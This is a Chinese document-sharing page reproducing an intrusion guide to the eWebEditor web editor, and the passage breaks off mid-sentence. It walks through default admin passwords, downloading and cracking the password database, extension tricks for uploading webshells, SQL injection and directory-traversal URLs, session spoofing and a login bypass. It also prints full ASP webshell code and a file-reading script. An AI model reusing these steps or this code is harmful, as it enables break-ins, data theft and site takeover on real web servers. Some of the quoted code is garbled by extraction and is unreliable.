范文ewebeditor漏洞利用总结.docx

上传人:b****8 文档编号:28174390 上传时间:2023-07-09 格式:DOCX 页数:12 大小:21.47KB
下载 相关 举报
范文ewebeditor漏洞利用总结.docx_第1页
第1页 / 共12页
范文ewebeditor漏洞利用总结.docx_第2页
第2页 / 共12页
范文ewebeditor漏洞利用总结.docx_第3页
第3页 / 共12页
范文ewebeditor漏洞利用总结.docx_第4页
第4页 / 共12页
范文ewebeditor漏洞利用总结.docx_第5页
第5页 / 共12页
点击查看更多>>
下载资源
资源描述

范文ewebeditor漏洞利用总结.docx

《范文ewebeditor漏洞利用总结.docx》由会员分享,可在线阅读,更多相关《范文ewebeditor漏洞利用总结.docx(12页珍藏版)》请在冰豆网上搜索。

范文ewebeditor漏洞利用总结.docx

范文ewebeditor漏洞利用总结

ewebeditor漏洞利用总结

  

  先从最基本的记录起!

通常入侵ewebeditor编辑器的步骤如下:

  、首先访问默认管理页看是否存在。

  默认管理页地址2.80以前为ewebeditor/admin_login.asp以后版本为admin/login.asp

  2、默认管理帐号密码!

  默认管理页存在!

我们就用帐号密码登陆!

默认帐号密码为:

adminadmin888!

常用的密码还有adminadmin999admin1admin000之类的。

  3、默认数据库地址。

  如果密码不是默认的。

我们就访问是不是默认数据库!

尝试下载数据库得到管理员密码!

管理员的帐号密码,都在ewebEditor_System表段里,sys_UserNameSys_UserPass都是md5加密的。

得到了加密密码。

可以去www.xmd5.org等网站进行查询!

暴力这活好久不干了!

也可以丢国外一些可以跑密码的网站去跑!

  默认数据库路径为:

ewebeditor/db/ewebeditor.mdb常用数据库路径为:

ewebeditor/db/ewebeditor.asaewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asaewebeditor/db/#ewebeditor.mdbewebeditor/db/!

@#ewebeditor.aspewebeditor/db/ewebeditor1033.mdb等

  很多管理员常改.asp后缀,一般访问.asp.asa后缀的都是乱码!

可以用下载工具下载下来,然后更改后缀为.mdb来查看内容!

  4、说说漏洞基本利用步骤,还以asp为例!

  登陆后台以后。

选择样式管理,默认编辑器的默认样式都不可以修改的。

我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。

.asa.cer.cdx等!

.asp过滤过了。

但是我们可以用.asaspp后缀来添加,这样上传文件正好被ewebeditor吃掉asp后缀,剩下.asp呵呵!

代码不详细说了。

总之是个很可笑的过滤!

同样,如果遇到一个管理员有安全意识的,从代码里,把.asp.asa.cer.cdx都完全禁止了,我们也可以用.asasaa后缀来突破。

添加完了后缀,可以在样式管理,点击预览,然后上传!

  5、默认管理页不存在!

  在实际入侵过程中,有很多默认的管理页不存在的时候。

我们可以直接访问样式管理页面ewebeditor/admin_style.asp然后用第4步的方式拿webshell。

如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。

然后构造上传!

具体url如下:

ewebEditor/ewebeditor.asp?

id=content&style=www红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!

  6、ewebeditor的几个版本存在注入!

  ewebeditor以前版本都存在注入ewebeditor/ewebeditor.asp?

id=article_content&style=Full_v200!

  添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!

  ewebeditorv2.1.6存在注入,可以用unionselect添加上传后缀进行上传!

先贴漏洞利用方式!

  --------------------------------------------------------------------------------------------------------------

  <H3>ewebeditorasp版2.1.6上传漏洞利用程序----</H3><br><br>

  <formaction="

  <inputtype=filename=uploadfilesize=100><br><br>

  <inputtype=submitvalue=Fuck>

  </form>

  --------------------------------------------------------------------------------------------------------------

  以上代码令存为html!

修改红色部分的路径,然后自动上传.cer文件!

漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!

用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!

在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!

  另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!

贴几个注入用的url!

信息错误则返回脚本出错的提示,在浏览器左下角!

具体利用如下:

  ewebeditor/Upload.asp?

type=FILE&style=standard_coolblue1'and%20)%20from%20ewebeditor_system%20)>98%20and%20'1'='1

  注意修改红色部分的字段名、位数、ascii码的值!

  7、目录遍历漏洞!

  这里大概说一下!

目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp高版本的是ewebeditor/admin/upload.asp文件!

这个文件有的不需要登陆验证,有些需要!

很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!

这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!

这些都自由发挥了!

说下漏洞利用方法!

  漏洞利用方式如下:

在上传文件管理页面随便选择一个上传样式!

比如ewebeditor/admin_uploadfile.asp?

id=14在id后面添加&dir=../..

  类似如下:

webeditor/admin_uploadfile.asp?

id=14&dir=../../../../data/可以看到网站数据库的路径!

  另外一个遍历目录的漏洞文件是ewebeditor/asp/browse.asp

  漏洞代码为:

  FunctionGetList

  Dims_List,s_Url

  s_List=""

  DimoFSo,oUploadFolder,oUploadFiles,oUploadFile,sFileName

  'Response.writescurrDir

  'onErrorResumeNext

  SetoFSo=Server.createobject

  SetoUploadFolder=oFSo.GetFolder)

  '注意一下scurrDir变量,这个值等下我们可以用到

  IfErr.Number>0Then

  s_List=""

  ExitFunction

  EndIf

  IfsDir<>""Then

  IfInstrRev>1Then

  s_Url=Left-1)

  Else

  s_Url=""

  EndIf

  s_List=s_List&""&_

  ""&_

  ".."&_

  ""&_

  ""

  EndIf

  'Response.writesDir&"!

"&s_List

  DimoSubFolder

  ForEachoSubFolderInoUploadFolder.SubFolders

  'Response.writeoUploadFolder.SubFolders

  IfsDir=""Then

  s_Url=oSubFolder.Name

  Else

  s_Url=sDir&"/"&oSubFolder.Name

  EndIf

  s_List=s_List&""&_

  ""&_

  ""&oSubFolder.Name&""&_

  ""&_

  ""

  Next

  'Response.writes_List

  SetoUploadFiles=oUploadFolder.Files

  ForEachoUploadFileInoUploadFiles

  'Response.writeoUploadFile.Name

  sFileName=oUploadFile.Name

  IfcheckValidExt=TrueThen

  '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了

  IfsDir=""Then

  s_Url=scontentPath&sFileName

  Else

  s_Url=scontentPath&sDir&"/"&sFileName

  EndIf

  s_List=s_List&""&_

  ""&FileName2Pic&""&_

  ""&sFileName&""&_

  ""&GetSizeUnit&""&_

  ""

  EndIf

  Next

  SetoUploadFolder=Nothing

  SetoUploadFiles=Nothing

  'Response.writeServer.HTmLEncode&"!

"&s_Url

  IfsDir=""Then

  s_Url=""

  's_Url="/"

  Else

  s_Url="/"&sDir&""

  's_Url="/"&sDir&"/"

  EndIf

  s_List=s_List&""

  s_List=HTmL2jS

  'Response.writeServer.HTmLEncode&"!

"&s_Url

  s_List="parent.setDirList"

  GetList=s_List

  EndFunction

  '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名

  FunctioncheckValidExt

  IfsAllowExt=""Then

  checkValidExt=True

  ExitFunction

  EndIf

  Dimi,aExt,sExt

  sExt=Lcase+1))

  checkValidExt=False

  aExt=Split,"|")

  Fori=0ToUBound

  IfaExt=sExtThen

  checkValidExt=True

  ExitFunction

  EndIf

  Next

  EndFunction

  '我们顺着代码往下找,发现scurrDir的值是通过下面的值得到的

  SubInitParam

  sType=Ucase))

  sStyleName=Trim)

  Dimi,aStyleconfig,bValidStyle

  bValidStyle=False

  Fori=1ToUbound

  aStyleconfig=Split,"|||")

  IfLcase=Lcase)Then

  bValidStyle=True

  ExitFor

  EndIf

  Next

  IfbValidStyle=FalseThen

  outScript")

  EndIf

  sBaseUrl=aStyleconfig

  'nAllowBrowse=cLng)

  nAllowBrowse=1

  IfnAllowBrowse<>1Then

  outScript")

  EndIf

  sUploadDir=aStyleconfig

  IfLeft<>"/"Then

  SelectcasesType

  case"REmoTE"

  sUploadDir="../../"&sUploadDir&"Image/"

  case"FILE"

  sUploadDir="../../"&sUploadDir&"other/"

  case"mEDIA"

  sUploadDir="../../"&sUploadDir&"media/"

  case"FLASH"

  sUploadDir="../../"&sUploadDir&"Flash/"

  caseElse

  sUploadDir="../../"&sUploadDir&"Image/"

  EndSelect

  EndIf

  'sUploadDir=sUploadDir&"/"

  SelectcasesBaseUrl

  case"0"

  'scontentPath=aStyleconfig

  SelectcasesType

  case"REmoTE"

  scontentPath="../"&aStyleconfig&"Image/"

  case"FILE"

  scontentPath="../"&aStyleconfig&"other/"

  case"mEDIA"

  scontentPath="../"&aStyleconfig&"media/"

  case"FLASH"

  scontentPath="../"&aStyleconfig&"Flash/"

  caseElse

  scontentPath="../"&aStyleconfig&"Image/"

  EndSelect

  case"1"

  scontentPath=RelativePath2RootPath

  case"2"

  scontentPath=RootPath2DomainPath)

  EndSelect

  SelectcasesType

  case"REmoTE"

  sAllowExt=aStyleconfig

  case"FILE"

  sAllowExt=aStyleconfig

  case"mEDIA"

  sAllowExt=aStyleconfig

  case"FLASH"

  sAllowExt=aStyleconfig

  caseElse

  sAllowExt=aStyleconfig

  EndSelect

  scurrDir=sUploadDir'注意这里,这个是得到了配置的路径地址

  sDir=Trim)'得到dir变量

  sDir=Replace'对dir变量进行过滤

  sDir=Replace

  sDir=Replace

  IfsDir<>""Then

  IfcheckValidDir)=TrueThen

  scurrDir=sUploadDir&sDir&"/"

  '重点就在这里了,看到没有,当sUploadDir&sDir存在的时候,scurrDir就为sUploadDir&sDir的值了

  '虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出

  Else

  sDir=""

  EndIf

  EndIf

  EndSub

  利用方式如下:

  http:

//site/ewebeditor/asp/browse.asp?

style=standard650&dir=…././/…././/admin

  这样子就可以看到admin的内容了。

构造特殊的dir绕过上面的验证!

页面空白的时候查看源代码,就可以看到目录列表了!

  8、session欺骗漏洞!

  适用于一些设置不当的虚拟主机。

当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!

顺序如下:

  新建一个.asp文件,内容如下:

<%Session="123132323"%>然后访问这个文件,再访问ewebeditor/admin_default.asp!

欺骗进入后台!

不过很老了!

  9、后台跳过认证漏洞!

  访问后台登陆页面!

随便输入帐号密码,返回错误!

然后清空浏览器,在地址栏输入

  javascript:

alert);

  javascript:

alert);

  javascript:

alert);

  然后再清空地址栏,在路径里输入后台登陆后的页面,比如:

admin_default.aspadmin/default.asp等。

直接进入后台,利用方式见上文!

  0、利用远程上传功能!

  比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url比如:

  利用代码如下:

  首先建立1.gif.asp代码如下

  <%

  Setfs=createobject

  SetmyTextStream=fs.openTextFile,1,false,0)

  Thetext=myTextStream.ReadAll

  response.writethetext

  %>

  在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:

  <%onerrorresumenext%>

  <%ofso="scripting.filesystemobject"%>

  <%setfso=server.createobject%>

  <%path=request%>

  <%ifpath<>""then%>

  <%data=request%>

  <%setdama=fso.createtextfile%>

  <%dama.writedata%>

  <%iferr=0then%>

  <%="success"%>

  <%else%>

  <%="false"%>

  <%endif%>

  <%err.clear%>

  <%endif%>

  <%dama.close%>

  <%setdama=nothing%>

  <%setfos=nothing%>

  <%="<formaction=''method=post>"%>

  <%="<inputtype=textname=path>"%>

  <%="<br>"%>

  <%=server.mappath)%>

  <%="<br>"%>

  <%=""%>

  <%="<textareaname=damacols=50rows=10width=30></textarea>"%>

  <%="<br>"%>

  <%="<inputtype=submitvalue=save>"%>

  <%="</form>"%>

  利用上面说的远程上传的方式!

可以得到webshell!

成功率取决于,虚拟主机的安全设置!

  1、任意文件删除漏洞!

  此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!

看代码

  '把带"|"的字符串转为数组

  DimaSavePathFileName

  aSavePathFileName=Split

  '删除新闻相关的文件,从文件夹中

  Dimi

  Fori=0ToUBound

  '按路径文件名删除文件

  callDoDelFile)

  Next

  而aSavePathFileName是前面从数据库取出来的:

  sSavePathFileName=oRs

  看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp里:

sSavePathFileName=GetSafeStr)

  ...

  oRs=sSavePathFileName

  居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

  FunctionGetSafeStr

  GetSafeStr=Replace,"'",""),chr,""),";","")

  EndFunction

  既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepat

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 总结汇报 > 工作总结汇报

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1